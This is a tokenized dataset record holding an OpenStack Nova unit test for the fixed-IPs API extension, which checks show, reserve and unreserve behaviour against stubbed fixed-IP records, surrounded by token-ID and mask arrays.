32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 9612, 63, 8936, 15694, 63, 2339, 365, 9563, 12, 1325, 1077, 25578, 3967, 2399, 492, 687, 2348, 199, 3, 965, 2757, 11812, 315, 3794, 14, 199, 504, 1639, 14, 2828, 14, 2113, 14, 11582, 492, 2274, 199, 504, 1639, 14, 2828, 14, 2113, 14, 4273, 492, 334, 272, 2900, 6550, 792, 24703, 12, 9411, 792, 24703, 12, 8802, 2370, 792, 24703, 12, 272, 30997, 24703, 12, 5024, 24703, 12, 3820, 4131, 12, 20116, 792, 24703, 12, 272, 20116, 5903, 792, 24703, 12, 5870, 24703, 12, 199, 9, 199, 504, 1639, 14, 2828, 14, 2113, 14, 7546, 492, 9612, 63, 8936, 15694, 63, 2339, 199, 504, 1639, 14, 2828, 14, 2113, 14, 1419, 492, 334, 272, 8724, 12, 8267, 12, 30093, 12, 13894, 379, 10307, 12, 23159, 2238, 10307, 12, 199, 9, 199, 504, 1639, 14, 2828, 14, 2113, 14, 8619, 492, 9516, 8972, 12, 4770, 199, 504, 1639, 14, 1208, 14, 578, 63, 8786, 492, 2599, 18861, 63, 3112, 199, 199, 363, 452, 363, 275, 359, 272, 298, 2683, 401, 298, 10052, 63, 8936, 15694, 63, 2339, 401, 298, 12976, 401, 298, 25968, 401, 298, 22634, 401, 272, 298, 4851, 379, 10307, 401, 298, 30187, 10307, 401, 298, 4880, 8972, 401, 298, 2124, 401, 298, 24703, 401, 272, 298, 3184, 24703, 401, 298, 792, 24703, 401, 298, 5036, 24703, 401, 272, 298, 13885, 792, 24703, 401, 298, 30806, 792, 24703, 401, 298, 14071, 24703, 401, 272, 298, 2422, 6550, 792, 24703, 401, 298, 13885, 5903, 792, 24703, 401, 298, 2495, 18861, 401, 199, 61, 421, 199, 318, 2599, 18861, 837, 272, 2599, 18861, 63, 3112, 360, 2113, 297, 2274, 63, 475, 29, 2124, 9, 421, 199, 885, 63, 571, 63, 888, 275, 283, 1176, 14, 2828, 14, 2113, 14, 5181, 14, 4880, 2028, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
SUSE-Cloud/nova
nova/tests/api/openstack/compute/contrib/test_fixed_ips.py
27
7686
# Copyright 2012 IBM Corp. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import webob from nova.api.openstack.compute.contrib import fixed_ips from nova import context from nova import db from nova import exception from nova import test from nova.tests.api.openstack import fakes fake_fixed_ips = [{'id': 1, 'address': '192.168.1.1', 'network_id': 1, 'virtual_interface_id': 1, 'instance_uuid': '1', 'allocated': False, 'leased': False, 'reserved': False, 'host': None, 'deleted': False}, {'id': 2, 'address': '192.168.1.2', 'network_id': 1, 'virtual_interface_id': 2, 'instance_uuid': '2', 'allocated': False, 'leased': False, 'reserved': False, 'host': None, 'deleted': False}, {'id': 3, 'address': '10.0.0.2', 'network_id': 1, 'virtual_interface_id': 3, 'instance_uuid': '3', 'allocated': False, 'leased': False, 'reserved': False, 'host': None, 'deleted': True}, ] def fake_fixed_ip_get_by_address(context, address): for fixed_ip in fake_fixed_ips: if fixed_ip['address'] == address and not fixed_ip['deleted']: return fixed_ip raise exception.FixedIpNotFoundForAddress(address=address) def fake_fixed_ip_get_by_address_detailed(context, address): network = {'id': 1, 'cidr': "192.168.1.0/24"} for fixed_ip in fake_fixed_ips: if fixed_ip['address'] == address and not fixed_ip['deleted']: return (fixed_ip, FakeModel(network), None) raise exception.FixedIpNotFoundForAddress(address=address) def fake_fixed_ip_update(context, address, values): fixed_ip = fake_fixed_ip_get_by_address(context, address) if fixed_ip is None: raise exception.FixedIpNotFoundForAddress(address=address) else: for key in values: fixed_ip[key] = values[key] class FakeModel(object): """Stubs out for model.""" def __init__(self, values): self.values = values def __getattr__(self, name): return self.values[name] def __getitem__(self, key): if key in self.values: return self.values[key] else: raise NotImplementedError() def __repr__(self): return '<FakeModel: %s>' % self.values def fake_network_get_all(context): network = {'id': 1, 'cidr': "192.168.1.0/24"} return [FakeModel(network)] class FixedIpTest(test.NoDBTestCase): def setUp(self): super(FixedIpTest, self).setUp() self.stubs.Set(db, "fixed_ip_get_by_address", fake_fixed_ip_get_by_address) self.stubs.Set(db, "fixed_ip_get_by_address_detailed", fake_fixed_ip_get_by_address_detailed) self.stubs.Set(db, "fixed_ip_update", fake_fixed_ip_update) self.context = context.get_admin_context() self.controller = fixed_ips.FixedIPController() def test_fixed_ips_get(self): req = fakes.HTTPRequest.blank('/v2/fake/os-fixed-ips/192.168.1.1') res_dict = self.controller.show(req, '192.168.1.1') response = {'fixed_ip': {'cidr': '192.168.1.0/24', 'hostname': None, 'host': None, 'address': '192.168.1.1'}} self.assertEqual(response, res_dict) def test_fixed_ips_get_bad_ip_fail(self): req = fakes.HTTPRequest.blank('/v2/fake/os-fixed-ips/10.0.0.1') self.assertRaises(webob.exc.HTTPNotFound, self.controller.show, req, '10.0.0.1') def test_fixed_ips_get_invalid_ip_address(self): req = fakes.HTTPRequest.blank('/v2/fake/os-fixed-ips/inv.ali.d.ip') self.assertRaises(webob.exc.HTTPNotFound, self.controller.show, req, 'inv.ali.d.ip') def test_fixed_ips_get_deleted_ip_fail(self): req = fakes.HTTPRequest.blank('/v2/fake/os-fixed-ips/10.0.0.2') self.assertRaises(webob.exc.HTTPNotFound, self.controller.show, req, '10.0.0.2') def test_fixed_ip_reserve(self): fake_fixed_ips[0]['reserved'] = False body = {'reserve': None} req = fakes.HTTPRequest.blank( '/v2/fake/os-fixed-ips/192.168.1.1/action') result = self.controller.action(req, "192.168.1.1", body) self.assertEqual('202 Accepted', result.status) self.assertEqual(fake_fixed_ips[0]['reserved'], True) def test_fixed_ip_reserve_bad_ip(self): body = {'reserve': None} req = fakes.HTTPRequest.blank( '/v2/fake/os-fixed-ips/10.0.0.1/action') self.assertRaises(webob.exc.HTTPNotFound, self.controller.action, req, '10.0.0.1', body) def test_fixed_ip_reserve_invalid_ip_address(self): body = {'reserve': None} req = fakes.HTTPRequest.blank( '/v2/fake/os-fixed-ips/inv.ali.d.ip/action') self.assertRaises(webob.exc.HTTPNotFound, self.controller.action, req, 'inv.ali.d.ip', body) def test_fixed_ip_reserve_deleted_ip(self): body = {'reserve': None} req = fakes.HTTPRequest.blank( '/v2/fake/os-fixed-ips/10.0.0.2/action') self.assertRaises(webob.exc.HTTPNotFound, self.controller.action, req, '10.0.0.2', body) def test_fixed_ip_unreserve(self): fake_fixed_ips[0]['reserved'] = True body = {'unreserve': None} req = fakes.HTTPRequest.blank( '/v2/fake/os-fixed-ips/192.168.1.1/action') result = self.controller.action(req, "192.168.1.1", body) self.assertEqual('202 Accepted', result.status) self.assertEqual(fake_fixed_ips[0]['reserved'], False) def test_fixed_ip_unreserve_bad_ip(self): body = {'unreserve': None} req = fakes.HTTPRequest.blank( '/v2/fake/os-fixed-ips/10.0.0.1/action') self.assertRaises(webob.exc.HTTPNotFound, self.controller.action, req, '10.0.0.1', body) def test_fixed_ip_unreserve_invalid_ip_address(self): body = {'unreserve': None} req = fakes.HTTPRequest.blank( '/v2/fake/os-fixed-ips/inv.ali.d.ip/action') self.assertRaises(webob.exc.HTTPNotFound, self.controller.action, req, 'inv.ali.d.ip', body) def test_fixed_ip_unreserve_deleted_ip(self): body = {'unreserve': None} req = fakes.HTTPRequest.blank( '/v2/fake/os-fixed-ips/10.0.0.2/action') self.assertRaises(webob.exc.HTTPNotFound, self.controller.action, req, '10.0.0.2', body)
apache-2.0
[ 3, 1898, 6029, 26202, 22304, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 14568, 199, 199, 504, 5913, 14, 1246, 14, 8512, 14, 3357, 14, 2828, 492, 6317, 63, 6142, 199, 504, 5913, 492, 1067, 199, 504, 5913, 492, 1592, 199, 504, 5913, 492, 1919, 199, 504, 5913, 492, 511, 199, 504, 5913, 14, 2219, 14, 1246, 14, 8512, 492, 14063, 421, 199, 3183, 63, 5964, 63, 6142, 275, 9016, 344, 356, 413, 12, 673, 283, 1562, 356, 283, 5756, 14, 6568, 14, 17, 14, 17, 297, 673, 283, 1200, 63, 344, 356, 413, 12, 673, 283, 2065, 63, 3266, 63, 344, 356, 413, 12, 673, 283, 842, 63, 2580, 356, 283, 17, 297, 673, 283, 19570, 356, 756, 12, 673, 283, 1756, 68, 356, 756, 12, 673, 283, 10421, 356, 756, 12, 673, 283, 1102, 356, 488, 12, 673, 283, 6062, 356, 756, 1386, 2116, 791, 344, 356, 499, 12, 673, 283, 1562, 356, 283, 5756, 14, 6568, 14, 17, 14, 18, 297, 673, 283, 1200, 63, 344, 356, 413, 12, 673, 283, 2065, 63, 3266, 63, 344, 356, 499, 12, 673, 283, 842, 63, 2580, 356, 283, 18, 297, 673, 283, 19570, 356, 756, 12, 673, 283, 1756, 68, 356, 756, 12, 673, 283, 10421, 356, 756, 12, 673, 283, 1102, 356, 488, 12, 673, 283, 6062, 356, 756, 1386, 2116, 791, 344, 356, 650, 12, 673, 283, 1562, 356, 283, 709, 14, 16, 14, 16, 14, 18, 297, 673, 283, 1200, 63, 344, 356, 413, 12, 673, 283, 2065, 63, 3266, 63, 344, 356, 650, 12, 673, 283, 842, 63, 2580, 356, 283, 19, 297, 673, 283, 19570, 356, 756, 12, 673, 283, 1756, 68, 356, 756, 12, 673, 283, 10421, 356, 756, 12, 673, 283, 1102, 356, 488, 12, 673, 283, 6062, 356, 715, 1386, 2116, 1622, 421, 199, 318, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 8, 1100, 12, 2287, 304, 272, 367, 6317, 63, 711, 315, 4026, 63, 5964, 63, 6142, 26, 267, 340, 6317, 63, 711, 459, 1562, 418, 508, 2287, 436, 440, 6317, 63, 711, 459, 6062, 2565, 288, 372, 6317, 63, 711, 272, 746, 1919, 14, 9515, 6583, 4667, 1858, 1476, 8, 1562, 29, 1562, 9, 421, 199, 318, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 63, 19170, 8, 1100, 12, 2287, 304, 272, 2784, 275, 791, 344, 356, 413, 12, 2049, 283, 10509, 356, 298, 5756, 14, 6568, 14, 17, 14, 16, 15, 1194, 3570, 272, 367, 6317, 63, 711, 315, 4026, 63, 5964, 63, 6142, 26, 267, 340, 6317, 63, 711, 459, 1562, 418, 508, 2287, 436, 440, 6317, 63, 711, 459, 6062, 2565, 288, 372, 334, 5964, 63, 711, 12, 7777, 1685, 8, 1200, 395, 488, 9, 272, 746, 1919, 14, 9515, 6583, 4667, 1858, 1476, 8, 1562, 29, 1562, 9, 421, 199, 318, 4026, 63, 5964, 63, 711, 63, 873, 8, 1100, 12, 2287, 12, 1338, 304, 272, 6317, 63, 711, 275, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 8, 1100, 12, 2287, 9, 272, 340, 6317, 63, 711, 365, 488, 26, 267, 746, 1919, 14, 9515, 6583, 4667, 1858, 1476, 8, 1562, 29, 1562, 9, 272, 587, 26, 267, 367, 790, 315, 1338, 26, 288, 6317, 63, 711, 59, 498, 61, 275, 1338, 59, 498, 61, 421, 199, 533, 7777, 1685, 8, 785, 304, 272, 408, 8067, 83, 734, 367, 1402, 1041, 272, 347, 636, 826, 721, 277, 12, 1338, 304, 267, 291, 14, 1459, 275, 1338, 339, 347, 636, 5675, 721, 277, 12, 536, 304, 267, 372, 291, 14, 1459, 59, 354, 61, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 340, 790, 315, 291, 14, 1459, 26, 288, 372, 291, 14, 1459, 59, 498, 61, 267, 587, 26, 288, 746, 4279, 342, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 8249, 1685, 26, 450, 83, 3524, 450, 291, 14, 1459, 421, 199, 318, 4026, 63, 1200, 63, 362, 63, 452, 8, 1100, 304, 272, 2784, 275, 791, 344, 356, 413, 12, 2049, 283, 10509, 356, 298, 5756, 14, 6568, 14, 17, 14, 16, 15, 1194, 3570, 272, 372, 359, 8249, 1685, 8, 1200, 1874, 421, 199, 533, 18659, 6583, 774, 8, 396, 14, 32437, 304, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 9515, 6583, 774, 12, 291, 680, 5996, 342, 398, 291, 14, 8957, 14, 1084, 8, 697, 12, 298, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 401, 2432, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 9, 267, 291, 14, 8957, 14, 1084, 8, 697, 12, 298, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 63, 19170, 401, 2432, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 63, 19170, 9, 267, 291, 14, 8957, 14, 1084, 8, 697, 12, 298, 5964, 63, 711, 63, 873, 401, 4026, 63, 5964, 63, 711, 63, 873, 9, 398, 291, 14, 1100, 275, 1067, 14, 362, 63, 2113, 63, 1100, 342, 267, 291, 14, 5538, 275, 6317, 63, 6142, 14, 9515, 1772, 7506, 342, 339, 347, 511, 63, 5964, 63, 6142, 63, 362, 8, 277, 304, 267, 2648, 275, 14063, 14, 21053, 14, 2500, 2336, 86, 18, 15, 3183, 15, 736, 13, 5964, 13, 6142, 15, 5756, 14, 6568, 14, 17, 14, 17, 358, 267, 522, 63, 807, 275 ]
[ 1898, 6029, 26202, 22304, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 14568, 199, 199, 504, 5913, 14, 1246, 14, 8512, 14, 3357, 14, 2828, 492, 6317, 63, 6142, 199, 504, 5913, 492, 1067, 199, 504, 5913, 492, 1592, 199, 504, 5913, 492, 1919, 199, 504, 5913, 492, 511, 199, 504, 5913, 14, 2219, 14, 1246, 14, 8512, 492, 14063, 421, 199, 3183, 63, 5964, 63, 6142, 275, 9016, 344, 356, 413, 12, 673, 283, 1562, 356, 283, 5756, 14, 6568, 14, 17, 14, 17, 297, 673, 283, 1200, 63, 344, 356, 413, 12, 673, 283, 2065, 63, 3266, 63, 344, 356, 413, 12, 673, 283, 842, 63, 2580, 356, 283, 17, 297, 673, 283, 19570, 356, 756, 12, 673, 283, 1756, 68, 356, 756, 12, 673, 283, 10421, 356, 756, 12, 673, 283, 1102, 356, 488, 12, 673, 283, 6062, 356, 756, 1386, 2116, 791, 344, 356, 499, 12, 673, 283, 1562, 356, 283, 5756, 14, 6568, 14, 17, 14, 18, 297, 673, 283, 1200, 63, 344, 356, 413, 12, 673, 283, 2065, 63, 3266, 63, 344, 356, 499, 12, 673, 283, 842, 63, 2580, 356, 283, 18, 297, 673, 283, 19570, 356, 756, 12, 673, 283, 1756, 68, 356, 756, 12, 673, 283, 10421, 356, 756, 12, 673, 283, 1102, 356, 488, 12, 673, 283, 6062, 356, 756, 1386, 2116, 791, 344, 356, 650, 12, 673, 283, 1562, 356, 283, 709, 14, 16, 14, 16, 14, 18, 297, 673, 283, 1200, 63, 344, 356, 413, 12, 673, 283, 2065, 63, 3266, 63, 344, 356, 650, 12, 673, 283, 842, 63, 2580, 356, 283, 19, 297, 673, 283, 19570, 356, 756, 12, 673, 283, 1756, 68, 356, 756, 12, 673, 283, 10421, 356, 756, 12, 673, 283, 1102, 356, 488, 12, 673, 283, 6062, 356, 715, 1386, 2116, 1622, 421, 199, 318, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 8, 1100, 12, 2287, 304, 272, 367, 6317, 63, 711, 315, 4026, 63, 5964, 63, 6142, 26, 267, 340, 6317, 63, 711, 459, 1562, 418, 508, 2287, 436, 440, 6317, 63, 711, 459, 6062, 2565, 288, 372, 6317, 63, 711, 272, 746, 1919, 14, 9515, 6583, 4667, 1858, 1476, 8, 1562, 29, 1562, 9, 421, 199, 318, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 63, 19170, 8, 1100, 12, 2287, 304, 272, 2784, 275, 791, 344, 356, 413, 12, 2049, 283, 10509, 356, 298, 5756, 14, 6568, 14, 17, 14, 16, 15, 1194, 3570, 272, 367, 6317, 63, 711, 315, 4026, 63, 5964, 63, 6142, 26, 267, 340, 6317, 63, 711, 459, 1562, 418, 508, 2287, 436, 440, 6317, 63, 711, 459, 6062, 2565, 288, 372, 334, 5964, 63, 711, 12, 7777, 1685, 8, 1200, 395, 488, 9, 272, 746, 1919, 14, 9515, 6583, 4667, 1858, 1476, 8, 1562, 29, 1562, 9, 421, 199, 318, 4026, 63, 5964, 63, 711, 63, 873, 8, 1100, 12, 2287, 12, 1338, 304, 272, 6317, 63, 711, 275, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 8, 1100, 12, 2287, 9, 272, 340, 6317, 63, 711, 365, 488, 26, 267, 746, 1919, 14, 9515, 6583, 4667, 1858, 1476, 8, 1562, 29, 1562, 9, 272, 587, 26, 267, 367, 790, 315, 1338, 26, 288, 6317, 63, 711, 59, 498, 61, 275, 1338, 59, 498, 61, 421, 199, 533, 7777, 1685, 8, 785, 304, 272, 408, 8067, 83, 734, 367, 1402, 1041, 272, 347, 636, 826, 721, 277, 12, 1338, 304, 267, 291, 14, 1459, 275, 1338, 339, 347, 636, 5675, 721, 277, 12, 536, 304, 267, 372, 291, 14, 1459, 59, 354, 61, 339, 347, 636, 6095, 721, 277, 12, 790, 304, 267, 340, 790, 315, 291, 14, 1459, 26, 288, 372, 291, 14, 1459, 59, 498, 61, 267, 587, 26, 288, 746, 4279, 342, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 2650, 8249, 1685, 26, 450, 83, 3524, 450, 291, 14, 1459, 421, 199, 318, 4026, 63, 1200, 63, 362, 63, 452, 8, 1100, 304, 272, 2784, 275, 791, 344, 356, 413, 12, 2049, 283, 10509, 356, 298, 5756, 14, 6568, 14, 17, 14, 16, 15, 1194, 3570, 272, 372, 359, 8249, 1685, 8, 1200, 1874, 421, 199, 533, 18659, 6583, 774, 8, 396, 14, 32437, 304, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 9515, 6583, 774, 12, 291, 680, 5996, 342, 398, 291, 14, 8957, 14, 1084, 8, 697, 12, 298, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 401, 2432, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 9, 267, 291, 14, 8957, 14, 1084, 8, 697, 12, 298, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 63, 19170, 401, 2432, 4026, 63, 5964, 63, 711, 63, 362, 63, 991, 63, 1562, 63, 19170, 9, 267, 291, 14, 8957, 14, 1084, 8, 697, 12, 298, 5964, 63, 711, 63, 873, 401, 4026, 63, 5964, 63, 711, 63, 873, 9, 398, 291, 14, 1100, 275, 1067, 14, 362, 63, 2113, 63, 1100, 342, 267, 291, 14, 5538, 275, 6317, 63, 6142, 14, 9515, 1772, 7506, 342, 339, 347, 511, 63, 5964, 63, 6142, 63, 362, 8, 277, 304, 267, 2648, 275, 14063, 14, 21053, 14, 2500, 2336, 86, 18, 15, 3183, 15, 736, 13, 5964, 13, 6142, 15, 5756, 14, 6568, 14, 17, 14, 17, 358, 267, 522, 63, 807, 275, 0 ]
